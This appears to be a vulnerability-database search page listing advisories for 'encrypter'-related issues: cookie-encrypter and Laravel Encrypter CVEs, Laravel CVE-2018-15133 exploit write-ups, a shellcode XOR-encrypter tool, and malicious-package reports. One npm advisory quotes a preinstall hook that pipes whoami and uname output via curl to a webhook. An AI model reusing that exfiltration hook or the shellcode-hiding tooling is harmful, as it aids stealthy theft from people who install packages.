26 matches found
encdecshellcode
Shellcode-Encrypter-Decrypter A Shellcode Encrypter & Decrypter, Using XOR Cipher to enc and dec shellcode. Installation root@kitploit: git clone https://github.com/blacknbunny/Shellcode-Encrypter-Decrypter.git && cd Shellcode-Encrypter-Decrypter/ python encdecshellcode.py --help Usage Example...
exploit_laravel_cve-2018-15133
CVE-2018-15133 대상 Laravel 익스플로잇 이 코드는 CVE-2018-15133 취약점을 익스플로잇하며, kosmiz의 PoC와 이 취약점에 대한 Metasploit 익스플로잇을 기반으로 합니다. 저는 주로 Hack The Box의 머신을 위해 이 코드를 작성했습니다. 당시 Metasploit을 사용하고 싶지 않았고, Python 연습 핑계도 필요했기 때문입니다. CVE 설명: Laravel Framework 5.5.40 이하 및 5.6.x 5.6.29 이하 버전에서 잠재적으로 신뢰할 수 없는 X-XSRF-TOK...
Lab-for-cve-2018-15133
Riepilogo: MExploiting CVE-2018-15133 Vulnerabilità di deserializzazione Questo exploit sfrutta una vulnerabilità di deserializzazione nel framework Laravel fino alla versione 5.5.40 e nelle versioni 5.6.x fino alla 5.6.29. Descrizione L'esecuzione di codice remoto potrebbe verificarsi a seguito ...
Malicious code in signzy-field-level-encrypter (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 38314f87203a0860a07c13fed06e2ec374545060b18be84a2d125556b93bc451 package.json declares a preinstall lifecycle script that runs echo "$whoami: $uname -a" | curl -X POST against a hardcoded Pipedream webhook at...
MAL-2026-10972 Malicious code in signzy-field-level-encrypter (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 38314f87203a0860a07c13fed06e2ec374545060b18be84a2d125556b93bc451 package.json declares a preinstall lifecycle script that runs echo "$whoami: $uname -a" | curl -X POST against a hardcoded Pipedream webhook at...
EUVD-2024-3476
Malicious code in bioql PyPI...
CVE-2024-53441
An issue in the index.js decryptCookie function of cookie-encrypter v1.0.1 allows attackers to execute a bit flipping attack...
Security Bulletin: IBM Watson Discovery for IBM Cloud Pak for Data affected by vulnerability in cookie-encrypter
Summary IBM Watson Discovery for IBM Cloud Pak for Data contains a vulnerable version of cookie-encrypter Vulnerability Details CVEID:CVE-2024-53441 DESCRIPTION: An issue in the index.js decryptCookie function of cookie-encrypter v1.0.1 allows attackers to execute a bit flipping attack...
@eas-framework/server (>=1.0.1, <=1.5.8), express-nova-login (1.0.0) +2 more potentially affected by CVE-2024-53441 via cookie-encrypter (1.0.1)
cookie-encrypter NPM version 1.0.1 is affected by a known vulnerability. The following packages have a transitive dependency on cookie-encrypter and may be impacted: - @eas-framework/server =1.0.1, =1.0.0, =1.6.3, =1.6.4 Source cves: CVE-2024-53441 Source advisory: OSV:GHSA-H63V-HW6G-X8HP...
CVE-2024-53441
An issue in the index.js decryptCookie function of cookie-encrypter v1.0.1 allows attackers to execute a bit flipping attack...
cookie-encrypter 安全漏洞
cookie-encrypter is a cookie encryption and decryption library by the individual developer Emmanuel Bourmalo. A security vulnerability exists in cookie-encrypter version v1.0.1, which stems from an issue with the index.js decryptCookie function that allows an attacker to perform a bit flipping...
CVE-2024-53441
An issue in the index.js decryptCookie function of cookie-encrypter v1.0.1 allows attackers to execute a bit flipping attack...
CVE-2024-53441
An issue in the index.js decryptCookie function of cookie-encrypter v1.0.1 allows attackers to execute a bit flipping attack...
CVE-2024-53441
CVE-2024-53441 affects the cookie-encrypter library, specifically version 1.0.1, where a flaw in the index.js decryptCookie function enables a bit-flipping attack (AES-CBC) using the world-visible IV. This can allow an attacker to modify encrypted cookies without decrypting them, with a CVSSv3.1 ...
Decryption Failure
illuminate/encryption is vulnerable to a Decryption Failure. The vulnerability is due to improper handling of encrypted payloads in the Laravel Encrypter component, allowing attackers to craft an encrypted payload, which upon decryption returns false, possibly resulting in unintended behavior in ...
Laravel Encrypter Component Potential Decryption Failure Leading to Unintended Behavior
The Laravel Encrypter component is susceptible to a vulnerability that may result in decryption failure, leading to an unexpected return of false. Exploiting this issue requires the attacker to manipulate the encrypted payload before decryption. When combined with weak type comparisons in the...
GHSA-7852-W36X-6MF6 Laravel Encrypter Component Potential Decryption Failure Leading to Unintended Behavior
The Laravel Encrypter component is susceptible to a vulnerability that may result in decryption failure, leading to an unexpected return of false. Exploiting this issue requires the attacker to manipulate the encrypted payload before decryption. When combined with weak type comparisons in the...
Laravel Encrypter Failure to decryption vulnerability
A potential exploit of the Laravel Encrypter component that may cause the Encrypter to fail on decryption and unexpectedly return false. To exploit this, the attacker must be able to modify the encrypted payload before it is decrypted. Depending on the code within your application, this could lea...
GHSA-6WJW-QF87-FV5V Laravel Encrypter Failure to decryption vulnerability
A potential exploit of the Laravel Encrypter component that may cause the Encrypter to fail on decryption and unexpectedly return false. To exploit this, the attacker must be able to modify the encrypted payload before it is decrypted. Depending on the code within your application, this could lea...
PT-2024-40136 · Laravel · Laravel
Name of the Vulnerable Software and Affected Versions: Laravel affected versions not specified Description: The issue concerns a potential exploit of the Laravel Encrypter component. This exploit may cause the Encrypter to fail during decryption and unexpectedly return false. To exploit this, an...